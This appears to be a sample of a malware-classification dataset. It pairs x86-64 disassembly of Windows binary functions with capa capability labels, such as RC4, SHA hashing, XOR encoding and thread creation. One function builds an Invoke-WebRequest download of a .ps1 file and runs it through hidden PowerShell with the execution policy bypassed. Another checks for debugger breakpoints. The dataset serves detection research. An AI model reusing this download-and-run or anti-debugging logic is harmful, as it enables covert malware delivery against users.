joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ba5e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax - 8], r12
lea rbx, [rcx + 0x308]
xor r12d, r12d
mov qword [rcx + 0xa0], r12
mov qword [rcx + 0x98], r12
mov rbp, rcx
mov rcx, rbx
call fcn.004af590
lea rcx, [rbp + 0x100]
call fcn.004b2290
lea rdx, [rsp + 0x20]
mov rcx, rbp
mov qword [rbp + 0x300], rbx
mov dword [rsp + 0x20], 5
mov dword [rsp + 0x44], r12d
mov dword [rsp + 0x24], r12d
mov qword [rsp + 0x50], 0xffffffffffffffff
mov dword [rsp + 0x4c], 0xffffffff
mov dword [rsp + 0x40], 0xffffffff
mov dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x34], 0xffffffff
mov dword [rsp + 0x30], 0xffffffff
mov dword [rsp + 0x2c], 0xffffffff
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x48], r12d
call fcn.004b73c0
lea rsi, [rbp + 0x2d64]
mov ebx, 2
mov qword [rsp + 0x88], rdi
mov byte [rsi], r12b
mov byte [rsi + 1], 1
add rsi, 2
nop
nop
mov ecx, ebx
mov edi, 1
shr ecx, 1
add ecx, 0xffffffff
shl rdi, cl
test rdi, rdi
je 0x4ba6e2
mov r8, rdi
movzx edx, bl
mov rcx, rsi
call sub.msvcrt.dll_memset
inc ebx
add rsi, rdi
cmp ebx, 0x1a
jb 0x4ba6c0
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x70]
mov r8d, 8
lea r9, [rbp + 0x810]
nop
mov eax, r8d
mov ecx, r12d
mov edx, 4
nop
nop
imul eax, eax
add ecx, ecx
cmp eax, 0x10000
jb 0x4ba73b
nop
shr eax, 1
inc ecx
cmp eax, 0x10000
jae 0x4ba730
dec rdx
jne 0x4ba720
mov eax, 0xa1
add r8d, 0x10
add r9, 4
sub eax, ecx
cmp r8d, 0x808
mov dword [r9 - 4], eax
jb 0x4ba710
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x1d570], r12
mov r12, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x78]
add rsp, 0x68
ret
Function at 0x4bf390
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
add byte [rcx + 1], 4
mov rax, qword [rbx]
add word [rax + 2], 4
movzx eax, byte [rcx - 5]
cmp byte [rcx + 1], al
jbe 0x4bf3f8
mov eax, dword [rcx]
lea rdx, [rcx - 6]
lea r8, [rsp + 0x30]
mov dword [r8], eax
movzx eax, word [rcx + 4]
mov word [r8 + 4], ax
mov eax, dword [rdx]
mov dword [rcx], eax
movzx eax, word [rdx + 4]
mov word [rcx + 4], ax
lea rcx, [rsp + 0x30]
mov eax, dword [rcx]
mov dword [rdx], eax
movzx eax, word [rcx + 4]
mov word [rdx + 4], ax
mov qword [rbx + 0x10], rdx
cmp byte [rdx + 1], 0x7c
jbe 0x4bf3f8
mov rcx, rbx
call fcn.004bf060
mov rcx, qword [rbx + 0x10]
movzx edx, word [rcx + 4]
movzx eax, word [rcx + 2]
shl edx, 0x10
or rdx, rax
add rdx, qword [rbx + 0x40]
cmp dword [rbx + 0x18], 0
jne 0x4bf427
cmp rdx, qword [rbx + 0x58]
jbe 0x4bf427
mov qword [rbx + 8], rdx
mov qword [rbx], rdx
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.004beb80

Function at 0x4bf440
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0x10]
mov r9, qword [rcx]
xor r8d, r8d
movzx edx, byte [rax + 1]
movzx eax, word [r9 + 2]
mov rbx, rcx
add edx, edx
cmp edx, eax
setg r8b
add dword [rcx + 0x2c], r8d
mov dword [rcx + 0x20], r8d
add word [r9 + 2], 4
mov rax, qword [rcx + 0x10]
add byte [rax + 1], 4
mov rax, qword [rcx + 0x10]
cmp byte [rax + 1], 0x7c
jbe 0x4bf489
call fcn.004bf060
mov rcx, qword [rbx + 0x10]
movzx edx, word [rcx + 4]
movzx eax, word [rcx + 2]
shl edx, 0x10
or rdx, rax
add rdx, qword [rbx + 0x40]
cmp dword [rbx + 0x18], 0
jne 0x4bf4b8
cmp rdx, qword [rbx + 0x58]
jbe 0x4bf4b8
mov qword [rbx + 8], rdx
mov qword [rbx], rdx
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.004beb80

Function at 0x4bf4d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov rdx, qword [rcx + 0x10]
movzx eax, byte [rdx + 1]
cmp al, 0x80
adc al, 0
mov byte [rdx + 1], al
inc dword [rcx + 0x2c]
mov rdx, qword [rcx + 0x10]
mov dword [rcx + 0x20], 1
movzx r8d, word [rdx + 4]
movzx eax, word [rdx + 2]
shl r8d, 0x10
or r8, rax
add r8, qword [rcx + 0x40]
cmp dword [rcx + 0x18], 0
jne 0x4bf515
cmp r8, qword [rcx + 0x58]
jbe 0x4bf515
mov qword [rcx + 8], r8
mov qword [rcx], r8
ret
jmp fcn.004beb80

Function at 0x4bf520
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add word [rax + 2], 4
mov rax, qword [rcx + 0x10]
add byte [rax + 1], 4
mov rax, qword [rcx + 0x10]
cmp byte [rax + 1], 0x7c
jbe 0x4bf548
call fcn.004bf060
mov eax, dword [rbx + 0x30]
mov rcx, rbx
mov dword [rbx + 0x2c], eax
add rsp, 0x20
pop rbx
jmp fcn.004beb80
Function at 0x4c3740
Capabilities:
Hash data using sha1

Disassembly:
mov dword [rcx], 0x67452301
mov dword [rcx + 4], 0xefcdab89
mov dword [rcx + 8], 0x98badcfe
mov dword [rcx + 0xc], 0x10325476
mov dword [rcx + 0x10], 0xc3d2e1f0
mov qword [rcx + 0x18], 0
ret
Function at 0x4c3f80
Capabilities:
Hash data using sha1

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x30], rbx
mov ebx, dword [rcx + 0x18]
mov qword [rsp + 0x38], rbp
and ebx, 0x3f
mov qword [rsp + 0x40], rsi
xor ebp, ebp
mov qword [rsp + 0x48], rdi
mov rdi, rcx
mov ecx, ebx
shr ebx, 2
and ecx, 3
mov rsi, rdx
mov eax, ebp
je 0x4c3fb6
mov eax, dword [rdi + rbx*4 + 0x20]
shl ecx, 3
mov edx, 0x80000000
shr edx, cl
or edx, eax
mov dword [rdi + rbx*4 + 0x20], edx
inc ebx
cmp ebx, 0xe
je 0x4c3fef
nop
and ebx, 0xf
jne 0x4c3fe4
lea rdx, [rdi + 0x20]
mov r8, rdi
mov rcx, rdi
call fcn.004c3770
mov dword [rdi + rbx*4 + 0x20], ebp
inc ebx
cmp ebx, 0xe
jne 0x4c3fd0
mov rcx, qword [rdi + 0x18]
lea rdx, [rdi + 0x20]
mov r8, rdi
shl rcx, 3
mov rax, rcx
mov dword [rdi + 0x5c], ecx
mov rcx, rdi
shr rax, 0x20
mov dword [rdi + 0x58], eax
call fcn.004c3770
mov rbx, qword [rsp + 0x30]
mov r11, rdi
mov ecx, 5
mov eax, dword [r11]
add rsi, 4
add r11, 4
dec rcx
bswap eax
mov dword [rsi - 4], eax
jne 0x4c4020
mov rsi, qword [rsp + 0x40]
mov qword [rdi + 0x18], rbp
mov rbp, qword [rsp + 0x38]
mov dword [rdi], 0x67452301
mov dword [rdi + 4], 0xefcdab89
mov dword [rdi + 8], 0x98badcfe
mov dword [rdi + 0xc], 0x10325476
mov dword [rdi + 0x10], 0xc3d2e1f0
mov rdi, qword [rsp + 0x48]
add rsp, 0x28
ret

Function at 0x4c4160
Capabilities:
Hash data using sha1

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x30], rbx
mov ebx, dword [rcx + 0x18]
mov qword [rsp + 0x38], rbp
and ebx, 0xf
mov qword [rsp + 0x40], rsi
xor ebp, ebp
mov dword [rcx + rbx*4 + 0x20], 0x80000000
inc ebx
mov qword [rsp + 0x48], rdi
cmp ebx, 0xe
mov rsi, rdx
mov rdi, rcx
je 0x4c41b4
and ebx, 0xf
jne 0x4c41a9
lea rdx, [rdi + 0x20]
mov r8, rdi
mov rcx, rdi
call fcn.004c3770
mov dword [rdi + rbx*4 + 0x20], ebp
inc ebx
cmp ebx, 0xe
jne 0x4c4195
mov rcx, qword [rdi + 0x18]
lea rdx, [rdi + 0x20]
mov r8, rsi
shl rcx, 5
mov rax, rcx
mov dword [rdi + 0x5c], ecx
mov rcx, rdi
shr rax, 0x20
mov dword [rdi + 0x58], eax
call fcn.004c3770
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov qword [rdi + 0x18], rbp
mov rbp, qword [rsp + 0x38]
mov dword [rdi], 0x67452301
mov dword [rdi + 4], 0xefcdab89
mov dword [rdi + 8], 0x98badcfe
mov dword [rdi + 0xc], 0x10325476
mov dword [rdi + 0x10], 0xc3d2e1f0
mov rdi, qword [rsp + 0x48]
add rsp, 0x28
ret

Function at 0x4c4220
Capabilities:
Hash data using sha256

Disassembly:
mov dword [rcx], 0x6a09e667
mov dword [rcx + 4], 0xbb67ae85
mov dword [rcx + 8], 0x3c6ef372
mov dword [rcx + 0xc], 0xa54ff53a
mov dword [rcx + 0x10], 0x510e527f
mov dword [rcx + 0x14], 0x9b05688c
mov dword [rcx + 0x18], 0x1f83d9ab
mov dword [rcx + 0x1c], 0x5be0cd19
mov qword [rcx + 0x20], 0
ret
Function at 0x4c4e80
Capabilities:
Hash data using sha256

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x38], rbx
mov ebx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rsi
and ebx, 0x3f
mov qword [rsp + 0x48], rdi
mov rsi, rdx
mov byte [rbx + rcx + 0x28], 0x80
inc ebx
mov rdi, rcx
cmp ebx, 0x38
je 0x4c4ec9
nop
nop
and ebx, 0x3f
jne 0x4c4ebd
mov rcx, rdi
call fcn.004c4260
mov byte [rbx + rdi + 0x28], 0
inc ebx
cmp ebx, 0x38
jne 0x4c4eb0
mov rcx, qword [rdi + 0x20]
shl rcx, 3
mov rax, rcx
bswap ecx
shr rax, 0x20
mov dword [rdi + 0x64], ecx
mov rcx, rdi
bswap eax
mov dword [rdi + 0x60], eax
call fcn.004c4260
mov rbx, qword [rsp + 0x38]
mov r11, rdi
mov edx, 4
nop
nop
nop
mov ecx, dword [r11 + 4]
mov eax, dword [r11]
add rsi, 8
bswap eax
bswap ecx
add r11, 8
dec rdx
mov dword [rsi - 8], eax
mov dword [rsi - 4], ecx
jne 0x4c4f00
mov rsi, qword [rsp + 0x40]
mov dword [rdi], 0x6a09e667
mov dword [rdi + 4], 0xbb67ae85
mov dword [rdi + 8], 0x3c6ef372
mov dword [rdi + 0xc], 0xa54ff53a
mov dword [rdi + 0x10], 0x510e527f
mov dword [rdi + 0x14], 0x9b05688c
mov dword [rdi + 0x18], 0x1f83d9ab
mov dword [rdi + 0x1c], 0x5be0cd19
mov qword [rdi + 0x20], rdx
mov rdi, qword [rsp + 0x48]
add rsp, 0x28
ret

Function at 0x4c50d0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x40]
mov r9, r8
mov rbx, rcx
mov r8, rdx
mov qword [rsp + 0x28], rax
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov qword [rbx], rax
je 0x4c510b
xor eax, eax
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
test eax, eax
cmovne ecx, eax
mov eax, ecx
add rsp, 0x30
pop rbx
ret

Function at 0x4c53d0
Capabilities:
Hash data using sha256

Disassembly:
mov dword [rcx], edx
dec edx
je 0x4c53f2
sub edx, 3
je 0x4c53e9
cmp edx, 6
jne 0x4c53f9
add rcx, 0x10
jmp fcn.004c4220
mov qword [rcx + 8], 0xffffffffffffffff
ret
mov dword [rcx + 4], 0xffffffff
ret 0
Function at 0x4cb850
Capabilities:
Check os version

Disassembly:
sub rsp, 0x148
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4cb887
cmp dword [rsp + 0x24], 6
jne 0x4cb887
cmp dword [rsp + 0x28], 0
je 0x4cb8b0
lea rcx, [0x004d0d20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.SetDefaultDllDirectories
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x4cb8b0
mov ecx, 0xc00
call rax
add rsp, 0x148
ret
Function at 0x4cd730
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
cmp word [0x00400000], 0x5a4d
je 0x4cd751
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x4cd7cd
movsxd rax, dword [0x0040003c]
lea rcx, [0x00400000]
add rax, rcx
cmp dword [rax], 0x4550
je 0x4cd772
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x4cd7cd
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x4cd7b0
cmp ecx, 0x20b
je 0x4cd78e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x4cd7cd
cmp dword [rax + 0x84], 0xe
ja 0x4cd79f
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x4cd7cd
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0x60], ebx
jmp 0x4cd7cd
cmp dword [rax + 0x74], 0xe
ja 0x4cd7be
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x4cd7cd
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0x60], ebx
mov ecx, 1
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x00510840], 0xffffffffffffffff
mov qword [0x00510848], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x0050c7e4]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x0050c7e0]
mov dword [rcx], eax
call fcn.004abb40
cmp dword [0x00509860], 0
jne 0x4cd827
lea rcx, [fcn.004abb40]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x004d05d8]
lea rcx, [0x004d05d0]
call sub.msvcrt.dll__initterm
mov r11d, dword [0x0050c7dc]
mov dword [rsp + 0x68], r11d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x0050c7d8]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x004d05c8]
lea rcx, [0x004d0450]
call fcn.005b0000
mov r11, qword [rsp + 0x38]
mov rax, qword [sym.imp.msvcrt.dll___initenv]
mov qword [rax], r11
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
call fcn.00458000
mov edi, eax
mov dword [rsp + 0x34], eax
test ebx, ebx
jne 0x4cd8b3
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x4cd8d4
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x58
ret
Function at 0x1800020b8
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
jle 0x180002102
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r10d, r10d
mov ebx, edx
mov edi, r10d
mov r11, rcx
mov dl, byte [r11]
movsxd rax, edi
mov cl, dl
xor cl, byte [rax + r8]
lea eax, [rdi + 1]
xor cl, r10b
mov r10b, dl
cdq
mov byte [r11], cl
idiv r9d
inc r11
mov edi, edx
sub rbx, 1
jne 0x1800020d1
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x180002104
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
jle 0x18000214c
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r10d, r10d
mov ebx, edx
mov edi, r10d
mov r11, rcx
movsxd rax, edi
mov cl, byte [rax + r8]
lea eax, [rdi + 1]
xor cl, byte [r11]
cdq
idiv r9d
xor cl, r10b
mov byte [r11], cl
mov edi, edx
inc r11
mov r10b, cl
sub rbx, 1
jne 0x18000211d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x1800021ac
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
movsxd rbp, dword [rsp + 0x70]
mov r12d, ecx
mov rsi, r9
mov edi, r8d
mov ebx, edx
lea ecx, [rbp + 0x30]
call fcn.180002150
mov r10d, dword [0x180004288]
mov r8, rbp
mov rdx, rsi
mov r13, rax
mov r15, qword [rax + 8]
lea r14, [r15 + 0x13]
mov dword [r15 + 0x2c], ebp
mov dword [r14 + 0xe], edi
lea rdi, [r15 + 0x30]
mov dword [r14], r10d
mov rcx, rdi
mov r10d, dword [0x180004270]
mov dword [r14 + 4], r10d
mov dword [r14 + 8], 0xaeb35c6
mov byte [r14 + 0xc], r12b
mov byte [r14 + 0xd], bl
mov dword [r14 + 0x12], ebp
call fcn.180002ecc
mov edx, select
lea ecx, [rdx - 0xa]
call fcn.180002e94
lea rbx, [r15 + 4]
mov dword [r15], eax
mov rcx, rbx
mov edx, eax
call fcn.180002e80
mov r9d, 0x1f
lea r8, [0x1800040c0]
mov rcx, r14
lea esi, [r9 - 9]
mov edx, esi
call fcn.1800020b8
mov r9d, dword [r15]
mov edx, esi
mov rcx, r14
mov r8, rbx
call fcn.1800020b8
mov edx, ebp
lea r9d, [rsi + 9]
mov rcx, rdi
lea r8, [0x1800040c0]
call fcn.1800020b8
mov r9d, dword [r15]
mov edx, ebp
mov rcx, rdi
mov r8, rbx
call fcn.1800020b8
mov rdx, r13
lea rcx, [0x180004290]
call fcn.180001604
cmp r12d, 6
je 0x1800022be
mov rcx, qword [0x180004170]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x100002250
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0xb0]
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], r12
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rdx
mov rcx, qword [rbp - 8]
call fcn.100007b60
mov rcx, qword [rbp - 0x10]
call fcn.100007b60
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x28], 0
nop
mov rax, qword [rbp - 0x10]
mov r8, 1
lea rcx, str..exe
mov rdx, rax
call fcn.100008c00
mov r9, rax
sub r9, 1
jno 0x1000022c7
call fcn.10000e7e0
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp - 0x18]
mov r8, 1
call fcn.100008b50
mov rdx, 1
lea rcx, [0x10005d210]
call fcn.100019070
mov qword [0x100084010], rax
lea rcx, [rbp - 0x28]
call fcn.100007b10
lea rax, str.Invoke_WebRequest__uri_
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 8]
mov qword [rbp - 0x50], rax
lea rax, str.__OutFile_
mov qword [rbp - 0x48], rax
lea rcx, [rbp - 0x60]
call fcn.100039c10
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x38], rax
lea rax, [0x10005a6e0]
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x58]
mov r9d, 0
mov r8, 5
lea rcx, [rbp - 0x28]
call fcn.100007f80
mov r12, qword [rbp - 0x28]
mov rsi, qword [0x100084010]
mov rdi, qword [0x100084010]
test rdi, rdi
je 0x100002373
jmp 0x100002378
call fcn.10000e780
lea rdx, [0x10005d210]
mov rbx, qword [rdi]
mov rcx, rbx
call fcn.1000040f0
mov rcx, rsi
mov rdx, r12
call qword [rbx + 0x138]
lea rcx, [rbp - 0x28]
call fcn.100007b10
lea rcx, [rbp - 0x60]
call fcn.100039c10
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
lea rax, str..ps1
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x40]
mov r9d, 0
mov r8, 2
lea rcx, [rbp - 0x28]
call fcn.100007f80
mov r12, qword [rbp - 0x28]
mov rsi, qword [0x100084010]
mov rdi, qword [0x100084010]
test rdi, rdi
je 0x1000023f6
jmp 0x1000023fc
call fcn.10000e780
nop
lea rdx, [0x10005d210]
mov rbx, qword [rdi]
mov rcx, rbx
call fcn.1000040f0
mov rcx, rsi
mov rdx, r12
call qword [rbx + 0x200]
mov rcx, qword [0x100084010]
call fcn.10000c370
lea rcx, [rbp - 0x28]
call fcn.100007b10
lea rax, str._sta__WindowStyle_Hidden__noprofile__executionpolicy_bypass__file
mov qword [rbp - 0x48], rax
lea rcx, [rbp - 0x60]
call fcn.100039c10
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
lea rax, str..ps1
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x48]
mov r9d, 0
mov r8, 3
lea rcx, [rbp - 0x28]
call fcn.100007f80
mov r9, qword [rbp - 0x28]
test r9, r9
jne 0x100002488
lea r9, [0x100085490]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov rdx, 0
mov rcx, 0
call sub.shell32.dll_ShellExecuteA
nop
mov rcx, rbp
call fcn.100002200
mov rbx, qword [rbp - 0x80]
mov rdi, qword [rbp - 0x78]
mov rsi, qword [rbp - 0x70]
mov r12, qword [rbp - 0x68]
lea rsp, [rbp]
pop rbp
ret
Function at 0x10000e4d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x1000856c0], ecx
xor eax, eax
add eax, 1
lea rdx, [0x1000856c0]
movsxd rcx, eax
mov r8d, dword [rdx + rcx*4 - 4]
mov ecx, r8d
shr ecx, 0x1e
xor ecx, r8d
imul ecx, ecx, 0x6c078965
mov r8d, eax
add r8d, ecx
mov ecx, eax
mov dword [rdx + rcx*4], r8d
cmp eax, 0x26f
jl 0x10000e4d8
mov dword [0x100055b50], 0x270
ret

Function at 0x10000e520
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0xffffffff
nop dword [rax]
add eax, 1
movsxd rdx, eax
lea rcx, [0x1000856c0]
mov ecx, dword [rcx + rdx*4 + 4]
mov edx, eax
lea r8, [0x1000856c0]
mov r8d, dword [r8 + rdx*4]
mov edx, ecx
and edx, 1
neg rdx
and edx, 0x9908b0df
and r8d, 0x80000000
and ecx, 0x7fffffff
or r8d, ecx
shr r8d, 1
xor edx, r8d
movsxd rcx, eax
lea r8, [0x1000856c0]
xor edx, dword [r8 + rcx*4 + 0x634]
mov ecx, eax
lea r8, [0x1000856c0]
mov dword [r8 + rcx*4], edx
cmp eax, 0xe2
jl 0x10000e528
mov eax, 0xe2
nop dword [rax]
add eax, 1
movsxd rdx, eax
lea rcx, [0x1000856c0]
mov ecx, dword [rcx + rdx*4 + 4]
mov edx, eax
lea r8, [0x1000856c0]
mov r8d, dword [r8 + rdx*4]
mov edx, ecx
and edx, 1
neg rdx
and edx, 0x9908b0df
and r8d, 0x80000000
and ecx, 0x7fffffff
or r8d, ecx
shr r8d, 1
xor edx, r8d
movsxd rcx, eax
lea r8, [0x1000856c0]
xor edx, dword [r8 + rcx*4 - 0x38c]
mov ecx, eax
lea r8, [0x1000856c0]
mov dword [r8 + rcx*4], edx
cmp eax, 0x26e
jl 0x10000e598
mov edx, dword [0x1000856c0]
mov ecx, dword [0x10008607c]
mov eax, edx
and eax, 1
neg rax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x100085cf0]
mov dword [0x10008607c], eax
mov dword [0x100055b50], 0
ret

Function at 0x10000e650
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbx
lea rsp, [rsp - 0x20]
mov ebx, dword [0x100055b50]
add dword [0x100055b50], 1
mov eax, dword [0x100084050]
cmp eax, dword [0x1000555a0]
jne 0x10000e679
cmp ebx, 0x271
jb 0x10000e69c
mov ecx, dword [0x100084050]
call fcn.10000e4d0
not dword [0x100084050]
mov eax, dword [0x100084050]
mov dword [0x1000555a0], eax
mov ebx, 0x270
nop
cmp ebx, 0x270
jne 0x10000e6b8
call fcn.10000e520
xor ebx, ebx
mov dword [0x100055b50], 1
nop dword [rax]
and ebx, ebx
lea rax, [0x1000856c0]
mov edx, dword [rax + rbx*4]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
nop
lea rsp, [rsp + 0x20]
pop rbx
ret
Function at 0x100010780
Capabilities:
Check for software breakpoints

Disassembly:
push rbx
push rdi
push rsi
lea rsp, [rsp - 0x20]
mov ax, word [0x100055310]
cmp ax, 0xcb
je 0x1000108bc
cmp ax, 0xcc
je 0x1000108bc
nop
mov rax, qword [0x1000863c0]
test rax, rax
je 0x1000107bd
mov ecx, dword [0x1000861b0]
call rax
mov rbx, rax
jmp 0x1000107c4
lea rbx, [0x1000861b8]
cmp word [0x1000861a0], 0
jle 0x1000107ec
lea rcx, [0x100086170]
call fcn.100010aa0
mov rcx, rbx
call fcn.100010240
mov rcx, rbx
call fcn.1000102d0
nop
mov rsi, qword [rbx]
jmp 0x100010819
mov rdi, qword [rsi + 8]
mov rax, qword [rsi]
and rax, 1
jne 0x100010812
mov rdx, rsi
mov rcx, rbx
call fcn.10000f4c0
jmp 0x100010816
and qword [rsi], 0xfffffffffffffffe
mov rsi, rdi
test rsi, rsi
jne 0x1000107f8
mov qword [rbx], 0
mov dword [rbx + 0x90], 0
cmp word [0x1000861a0], 0
jle 0x1000108bc
lea rdx, [0x100086080]
mov rcx, rbx
call fcn.10000f640
mov rsi, rax
test rax, rax
je 0x100010888
mov rax, qword [0x100086120]
mov qword [rsi + 0x18], rax
cmp qword [0x100086120], 0
je 0x100010878
mov rax, qword [0x100086120]
mov qword [rax + 0x10], rsi
nop dword [rax]
mov rax, qword [rbx + 0xa0]
mov qword [0x100086120], rax
nop
sub word [0x1000861a0], 1
cmp word [0x1000861a0], 0
sete bl
lea rcx, [0x100086170]
call fcn.100010ae0
test bl, bl
je 0x1000108bc
lea rcx, [0x100086170]
call fcn.100010a80
nop dword [rax]
nop
lea rsp, [rsp + 0x20]
pop rsi
pop rdi
pop rbx
ret
Function at 0x100012d50
Capabilities:
Get common file path

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x70]
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], r12
mov sil, cl
mov rdi, rdx
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
nop
test sil, sil
je 0x100012e8e
movzx eax, sil
sub eax, 0xffffffc0
mov word [rbp - 8], ax
mov word [rbp - 6], 0x3a
mov word [rbp - 4], 0
mov word [rbp - 2], 0
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
xor r8, r8
xor edx, edx
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
mov edx, ebx
sub rdx, 1
mov rcx, rdi
call fcn.10000a860
mov r8, qword [rdi]
test r8, r8
jne 0x100012ddf
lea r8, [0x100085490]
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
mov edx, ebx
call sub.kernel32.dll_GetFullPathNameW
mov r12d, eax
test eax, eax
jne 0x100012e4b
call sub.kernel32.dll_GetLastError
mov ecx, eax
call fcn.100003be0
lea rcx, [rbp - 0x18]
call fcn.100009560
and esi, 0xff
lea edx, [esi + 0x41]
sub edx, 1
and edx, 0xffff
lea rcx, [rbp - 0x20]
call fcn.100009a80
mov rdx, qword [rbp - 0x20]
lea r8, [0x10005b194]
lea rcx, [rbp - 0x18]
call fcn.100009920
mov rdx, qword [rbp - 0x18]
mov rcx, rdi
call fcn.10000a210
jmp 0x100012ee0
mov eax, ebx
sub rax, 1
mov edx, r12d
cmp rax, rdx
je 0x100012e64
mov edx, r12d
mov rcx, rdi
call fcn.10000a860
